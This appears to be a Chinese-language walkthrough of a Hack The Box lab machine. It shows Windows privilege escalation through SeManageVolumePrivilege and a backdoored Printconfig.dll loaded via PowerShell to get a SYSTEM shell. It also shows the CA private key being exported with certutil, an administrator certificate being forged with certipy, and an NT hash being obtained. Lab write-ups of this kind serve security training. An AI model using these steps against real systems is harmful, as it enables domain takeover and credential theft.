SeManageVolumePrivilege (执行卷维护权限)
拥有此权限的用户或进程可以执行与磁盘卷相关的各种维护操作
通常只有本地管理员才有这个权限
提权工具: GitHub - CsEnox/SeManageVolumeExploit
直接执行 SeManageVolumeExploit.exe
,运行成功后会授予所有用户对于 C:
的完整权限
Creates handle to \.\C: with SYNCHRONIZE | FILE_TRAVERSE
SYNCHRONIZE
(同步访问)和 FILE_TRAVERSE
(文件遍历)权限。这允许程序在卷级别进行操作和导航。Sends the FSCTL_SD_GLOBAL_CHANGE to replace S-1-5-32-544 with S-1-5-32-545
FSCTL_SD_GLOBAL_CHANGE
是一个文件系统控制代码,用于全局修改安全描述符。S-1-5-32-544
是 Administrators (管理员) 组的 SID。S-1-5-32-545
是 Users (用户) 组的 SID。当前用户具有 SeManageVolumePrivilege
权限, 此时无法访问 c:\users\administrator
,提示权限不足
运行 SeManageVolumeExploit.exe
,再次访问 c:\users\administrator
成功
覆盖"Printconfig.dll"以获取 SYSTEM Shell 访问权限
在受保护的目录中,用户可控地创建文件的能力为权限提升开辟了多种可能性。其中一种相对直接的技术是,用恶意的 DLL 文件替换位于 "C:\Windows\System32\spool\drivers\x64\3" 的 "Printconfig.dll"。通过启动 PrintNotify 对象,服务将加载我们恶意的 PrintConfig.dll,从而授予我们一个特权的 SYSTEM shell。
1. 生成一个自定义DLL,并放置在 C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll
这里我用CS生成了一个后门
这里需要用到这个脚本 sb_kiddie-/hacking_win/dll_hijack/DLLHijacker.py at master · JKme/sb_kiddie- · GitHub
先利用原来的 printconfig.dll
生成一个VS项目文件,然后调整一下项目配置
**属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD**
**属性->C/C++->代码生成->禁用安全检查GS**
**关闭生成清单 属性->链接器->清单文件->生成清单 选择否**
修改对应的shellcode(可以用CS生成的)
然后替换C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll
2. 通过执行以下 PowerShell 命令启动 PrintNotify 对象,加载恶意DLL
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
成功上线,并提权到 SYSTEM
条件:当前机器上有CA的私钥(默认存储在CA服务器上的 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
目录下)
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
目录下主要存储的是 Windows 操作系统中计算机级别的私钥文件。
这个目录里都是加密密钥容器文件。这些文件没有扩展名,通常由一串十六进制字符组成,看起来像这样:46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
。
每个文件都代表着一个私钥,它与系统上安装的某个数字证书相关联。这些私钥是加密和解密数据的核心组件。
具体来说,这里可能存储的私钥包括:
导出CA证书和其对应的私钥,保存为 .pfx
格式
# certutil -exportPFX my "Certificate-LTD-CA" ca.pfx
my "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.
使用 certipy-ad 与 ca.pfx
伪造管理员的证书
┌──(root㉿kali)-[~/Desktop/htb/season8/certificate]
└─# certipy-ad forge -ca-pfx ca.pfx -upn 'administrator@certificate.htb' -out administrator.pfx
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'administrator.pfx'
[*] Wrote forged certificate and private key to 'administrator.pfx'
使用管理员的证书进行认证,获取hash
┌──(root㉿kali)-[~/Desktop/htb/season8/certificate]
└─# ntpdate 10.10.11.71
2025-06-24 17:05:03.148675 (-0400) +462.380545 +/- 0.060788 10.10.11.71 s1 no-leap
CLOCK: time stepped by 462.380545
┌──(root㉿kali)-[~/Desktop/htb/season8/certificate]
└─# certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'certificate.htb' -dc-ip '10.10.11.71'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6